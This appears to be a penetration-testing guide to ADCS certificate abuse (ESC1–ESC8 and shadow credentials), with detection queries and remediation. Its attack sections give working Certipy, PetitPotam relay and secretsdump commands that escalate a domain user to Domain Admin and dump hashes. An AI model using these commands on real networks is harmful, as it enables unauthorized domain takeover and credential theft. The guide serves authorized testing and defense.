
ADCS attacks: certificate services privilege escalation (ESC1 to ESC8)
Active Directory Certificate Services misconfigurations from the ESC1 to ESC8 set, and how each one gets you a certificate for a privileged account.
Introduction
Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation, and it is often misconfigured. Will Schroeder and Lee Christensen documented eight misconfiguration classes (ESC1 to ESC8) in their 2021 SpecterOps whitepaper "Certified Pre-Owned". Each ESC path ends at the same place: a Kerberos TGT or NT hash for a privileged account, obtained through ordinary PKI operations. You never touch LSASS and you never crack a password.
All of it rests on certificate-based authentication (PKINIT). A valid certificate with a Subject Alternative Name (SAN) of administrator@domain.com authenticates to the KDC as that user. There are four ways to get such a certificate: request one directly, modify a template, relay NTLM to the enrollment endpoint, or write to msDS-KeyCredentialLink. Any of them gets you a TGT for the target account. Certificates are valid for months and survive password resets.
Two habits make this common. Templates are deployed with default permissions that let low-privilege domain users enroll, and the template flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is left on in templates that were copied from built-in ones without a review. Certipy (by Oliver Lyak) handles enumeration, exploitation and authentication for the ESC paths covered here.
Authorization required
These techniques are for authorized penetration tests and red team engagements only. Issued certificates outlive password changes and are hard to revoke in environments without CRL/OCSP monitoring, so record every certificate you request. Get written authorization that covers the PKI before testing.
Impact
- A low-privilege domain user escalates to Domain Admin without touching LSASS
- Certificates stay valid after password changes, so access survives credential rotation
- ESC8 requires only network access to the CA web enrollment endpoint, no prior domain foothold
- Shadow credentials persist in
msDS-KeyCredentialLinkand survive group policy resets - Certificate issuance does not generate Kerberos event logs in default configurations
- An ESC4 template change or the ESC6 CA flag affects every later certificate request, from any user
Technical details
ADCS issues X.509 certificates from Certificate Authorities (CAs) registered in the AD forest. A certificate template defines what the certificate can be used for (EKU), who can enroll, and whether the CA or the enrollee supplies the subject.
The flags and EKUs that matter:
| Flag | Description | ESC relevance |
|---|---|---|
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | Requester controls the SAN | ESC1, ESC2 |
CT_FLAG_NO_SECURITY_EXTENSION | msPKI-Enrollment-Flag bit 0x80000. When set, the CA leaves the SID security extension out of the certificate | Bypasses the KB5014754 strong mapping (ESC9) |
EDITF_ATTRIBUTESUBJECTALTNAME2 | CA-level flag allowing SAN in any request | ESC6 |
EKU 1.3.6.1.5.5.7.3.2 | Client Authentication OID | Required for PKINIT |
EKU 2.5.29.37.0 | Any Purpose OID | ESC2 |
Attack flow
Enumerate vulnerable templates
Certipy queries LDAP for all published templates and CA configurations in one pass.
certipy find -u lowpriv@corp.local -p 'Password123!' -dc-ip 10.10.10.1 -vulnerable -stdoutThe -vulnerable flag limits output to templates with exploitable conditions. Without -stdout, Certipy writes text and JSON files that hold the template ACL, EKU list and enrollment rights for offline analysis.
certipy find -u lowpriv@corp.local -p 'Password123!' -dc-ip 10.10.10.1 -vulnerable
# Outputs: corp.local_Certipy.zip (JSON + txt)Fields to check in the output:
Certificate Templates
Template Name : VulnerableUserTemplate
Display Name : User Template
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True <-- ESC1
Certificate Authorities : corp-CA
Enabled For : Domain Users
[!] Vulnerabilities
ESC1 : 'CORP.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authenticationESC1: enrollee-supplied SAN
The template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, a Client Authentication EKU, and enrollment rights for low-privilege users. You set the SAN to any account in the domain.
certipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template VulnerableUserTemplate \
-upn administrator@corp.local \
-dc-ip 10.10.10.1Output:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'certipy auth \
-pfx administrator.pfx \
-username administrator \
-domain corp.local \
-dc-ip 10.10.10.1Output:
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fePass the NT hash directly, or point KRB5CCNAME at the .ccache and use it with Impacket.
ESC2: templates with the Any Purpose EKU
The template has EKU 2.5.29.37.0 (Any Purpose) or no EKU restriction. A certificate with Any Purpose can be used as an enrollment agent for ESC3. In Certipy output, templates showing Any Purpose: True qualify.
certipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template AnyPurposeTemplate \
-dc-ip 10.10.10.1Use the resulting certificate as the enrollment agent in ESC3.
ESC3: enrollment agent template
ESC3 needs two templates: one with the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) and one that lets enrollment agents enroll on behalf of other users. Certipy handles both steps.
certipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template EnrollmentAgentTemplate \
-dc-ip 10.10.10.1
# Saves: lowpriv.pfxcertipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template User \
-on-behalf-of 'corp\administrator' \
-pfx lowpriv.pfx \
-dc-ip 10.10.10.1
# Saves: administrator.pfxAuthenticate with administrator.pfx using certipy auth, as in ESC1.
ESC4: write permissions on the template object
Your account has WriteProperty, WriteDacl or WriteOwner on the template object in AD. Modify the template so it meets the ESC1 conditions, request a certificate, then restore the template.
certipy template \
-u lowpriv@corp.local \
-p 'Password123!' \
-template VulnerableTemplate \
-write-default-configuration \
-dc-ip 10.10.10.1Certipy saves the current configuration to VulnerableTemplate.json, then sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and adds the Client Authentication EKU. Exploit it as ESC1:
certipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template VulnerableTemplate \
-upn administrator@corp.local \
-dc-ip 10.10.10.1certipy template \
-u lowpriv@corp.local \
-p 'Password123!' \
-template VulnerableTemplate \
-write-configuration VulnerableTemplate.json \
-dc-ip 10.10.10.1ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
The CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set in its edit flags. Any request to this CA can carry an arbitrary SAN, whatever the template says. Templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT become exploitable too.
Certipy reports this in the CA section of find output:
Certificate Authorities
CA Name : corp-CA
[!] Vulnerabilities
ESC6 : CA has 'EDITF_ATTRIBUTESUBJECTALTNAME2' flag set. Any user can specify a SAN while enrolling.certipy req \
-u lowpriv@corp.local \
-p 'Password123!' \
-ca corp-CA \
-template User \
-upn administrator@corp.local \
-dc-ip 10.10.10.1User is a default template that domain users can enroll in. Authenticate with certipy auth as above.
ESC8: NTLM relay to web enrollment
The CA has the web enrollment role (/certsrv/) enabled over plain HTTP and accepts NTLM. Coerce the DC's machine account into authenticating to you with PetitPotam, relay that to the enrollment endpoint, and you receive a Domain Controller certificate. Use the certificate with PKINIT to get a TGT for the DC machine account, then DCSync.
Start the Certipy relay listener:
certipy relay \
-target http://10.10.10.5/certsrv/ \
-template DomainControllerIn a second terminal, trigger DC authentication with PetitPotam:
python3 PetitPotam.py \
-u lowpriv \
-p 'Password123!' \
-d corp.local \
10.10.10.50 \
10.10.10.1
# 10.10.10.50 = attacker listener, 10.10.10.1 = DCCertipy relay output:
[*] Requesting certificate for 'CORP\\DC01$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'DC01.corp.local'
[*] Saved certificate and private key to 'dc01.pfx'certipy auth \
-pfx dc01.pfx \
-username 'DC01$' \
-domain corp.local \
-dc-ip 10.10.10.1
# Returns: DC01$@corp.local NT hashsecretsdump.py \
-hashes ':d25ecd13a8b4e7483d6f2c4b8b8a1234' \
'corp.local/DC01$@10.10.10.1'Shadow credentials (msDS-KeyCredentialLink)
This one has no ESC number but it uses the same PKINIT path. With GenericWrite or WriteProperty on a user or computer object, you write your own key credential to msDS-KeyCredentialLink, then authenticate as the target over PKINIT with the matching private key.
certipy shadow auto \
-u lowpriv@corp.local \
-p 'Password123!' \
-account targetuser \
-dc-ip 10.10.10.1auto mode adds the key, authenticates to get the NT hash, then removes the key.
[*] Targeting user 'targetuser'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'a1b2c3d4...'
[*] Adding Key Credential with device ID 'a1b2c3d4...' to the Key Credentials for 'targetuser'
[*] Successfully added Key Credential with device ID 'a1b2c3d4...' to the Key Credentials for 'targetuser'
[*] Authenticating as 'targetuser' with the certificate
[*] Got hash for 'targetuser@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
[*] Restored the msDS-KeyCredentialLink attribute of the 'targetuser' userFor computer accounts (needed for S4U2Self lateral movement):
certipy shadow auto \
-u lowpriv@corp.local \
-p 'Password123!' \
-account 'WORKSTATION01$' \
-dc-ip 10.10.10.1Attack tools
Certipy covers every ADCS operation in this note from Linux. Install it with pipx:
pipx install certipy-adThe commands you will use most:
certipy find -u user@domain -p pass -dc-ip <DC-IP> -vulnerable -stdout
# With LDAPS (when the DC requires LDAP signing)
certipy find -u user@domain -p pass -dc-ip <DC-IP> -vulnerable -ldap-scheme ldaps
# Pass-the-hash authentication
certipy find -u user@domain -hashes ':NThash' -dc-ip <DC-IP> -vulnerablecertipy req -u user@domain -p pass \
-ca <CA-Name> \
-template <TemplateName> \
-upn administrator@domain \
-dc-ip <DC-IP># Get TGT + NT hash
certipy auth -pfx admin.pfx -username administrator -domain corp.local -dc-ip <DC-IP>
# Export to ccache for Impacket use
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/administrator@dc01.corp.localcertipy relay -target http://<CA-IP>/certsrv/ -template DomainController# Full auto (add, auth, remove)
certipy shadow auto -u user@domain -p pass -account <target> -dc-ip <DC-IP>
# Manual (add only: persists until removed)
certipy shadow add -u user@domain -p pass -account <target> -dc-ip <DC-IP>Detection
Event log sources
| Event ID | Source | Description |
|---|---|---|
| 4886 | Security (CA) | Certificate was requested |
| 4887 | Security (CA) | Certificate was approved and issued |
| 4768 | Security (DC) | Kerberos TGT request (check the Certificate Issuer field) |
| 4769 | Security (DC) | Kerberos service ticket request |
| 5136 | Security (DC) | Directory service object modified (msDS-KeyCredentialLink) |
| 4899/4900 | Security (CA) | Certificate template modified |
Behavioral indicators
For ESC1 and ESC6, look for certificate requests where the SAN differs from the requester's UPN. In 4887 events, correlate the Certificate Template and Requester fields. A member of Domain Users receiving a certificate with an admin UPN in the SAN is the pattern to alert on.
For ESC8, look for web enrollment authentication from a machine account (DC01$) over HTTP NTLM. IIS logs on the CA server show POST requests to /certsrv/certfnsh.asp from a source IP that is not the DC.
For shadow credentials, look for event 5136 with msDS-KeyCredentialLink as the attribute name. Alert on any change that does not come from the expected device management workflows (Intune, Windows Hello for Business).
SIEM query examples
SecurityEvent
| where EventID == 4887
| where TargetUserName !endswith "$"
| extend CertTemplate = extract("Certificate Template: ([^\r\n]+)", 1, EventData)
| extend Requester = extract("Requester: ([^\r\n]+)", 1, EventData)
| extend SubjectAltName = extract("Subject Alternative Name: ([^\r\n]+)", 1, EventData)
| where SubjectAltName != "" and not(SubjectAltName contains Requester)
| project TimeGenerated, Requester, CertTemplate, SubjectAltName, ComputerSecurityEvent
| where EventID == 5136
| where EventData contains "msDS-KeyCredentialLink"
| project TimeGenerated, SubjectUserName, ObjectName, ComputerSecurityEvent
| where EventID == 4768
| where EventData contains "Certificate"
| extend TargetAccount = extract("TargetUserName: ([^\r\n]+)", 1, EventData)
| project TimeGenerated, TargetAccount, IpAddress, ComputerRemediation
ESC1 and ESC2
- Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTfrom every template that does not need it - Limit enrollment rights to specific security groups, not
Domain UsersorAuthenticated Users - Where a template does need an enrollee-supplied SAN, require CA manager approval (
CT_FLAG_PEND_ALL_REQUESTS)
ESC3
- Restrict enrollment agent templates to dedicated enrollment agent accounts
- Set
msPKI-RA-Signatureon the template to 1 or more so that on-behalf-of requests need an RA signature - Audit all templates with EKU
1.3.6.1.4.1.311.20.2.1
ESC4
- Audit template ACLs. Nobody outside the PKI admins should have write permissions on template objects in
CN=Certificate Templates,CN=Public Key Services,CN=Services - Use a dedicated PKI admins group so template management is separated from other admin roles
ESC6
- Remove
EDITF_ATTRIBUTESUBJECTALTNAME2from all CA configurations:certutil -config "CA\CA-Name" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 net stop certsvc && net start certsvc
ESC8
- Disable IIS web enrollment if nobody uses it
- If it is needed, enforce HTTPS and disable NTLM (require Kerberos or client certificate authentication)
- Enable EPA (Extended Protection for Authentication) on the enrollment endpoint
- Where NTLM can go, disable it with the
Network security: Restrict NTLM: NTLM authentication in this domainpolicy on the domain controllers, or withNetwork security: Restrict NTLM: Incoming NTLM trafficon the AD CS servers (the two NTLM options in KB5005413)
Shadow credentials
- Find and remove unneeded
GenericWriteon user and computer objects with an ACL auditing tool such as BloodHound or ADACLScanner - Put privileged accounts in the
Protected Usersgroup. It does not block PKINIT, but it blocks NTLM for those accounts, so the NT hash that PKINIT returns cannot be passed - Monitor 5136 events for
msDS-KeyCredentialLinkchanges
General hardening
- Install the Microsoft Defender for Identity sensor on the ADCS server. MDI has built-in detections for the Certified Pre-Owned techniques
- Enable audit logging at the CA (
certutil -setreg CA\AuditFilter 127) - Deploy the May 2022 updates (KB5014754). They add the
szOID_NTDS_CA_SECURITY_EXTextension, which binds a certificate to an AD account by SID
References
MITRE ATT&CK techniques
- T1649 - Steal or Forge Authentication Certificates
- T1558 - Steal or Forge Kerberos Tickets
- T1078.002 - Valid Accounts: Domain Accounts
Tools and research
- Certipy, GitHub (ly4k)
- Certify, GitHub (GhostPack)
- PKINITtools, GitHub (dirkjanm)
- PetitPotam, GitHub (topotam)
- SpecterOps whitepaper: Certified Pre-Owned
- Microsoft KB5014754: certificate-based authentication changes
Next steps
ACL abuse in Active Directory
For finding the write rights on templates and accounts that ESC4 and shadow credentials need.
NTLM relay attacks
For the coercion and relay setup behind ESC8.
Kerberos delegation attacks
For turning a computer account's TGT into local admin with S4U2Self.
DCSync
For dumping the domain once you hold a DC machine account or Domain Admin.
Active Directory ACL abuse: from misconfigured ACEs to Domain Admin
How to find and abuse dangerous ACEs in Active Directory with PowerView, BloodHound and Impacket, and how defenders can detect and remove them.
AS-REP Roasting Attack and Defense
AS-REP Roasting attack targeting accounts without Kerberos pre-authentication. Offline password cracking techniques and detection strategies.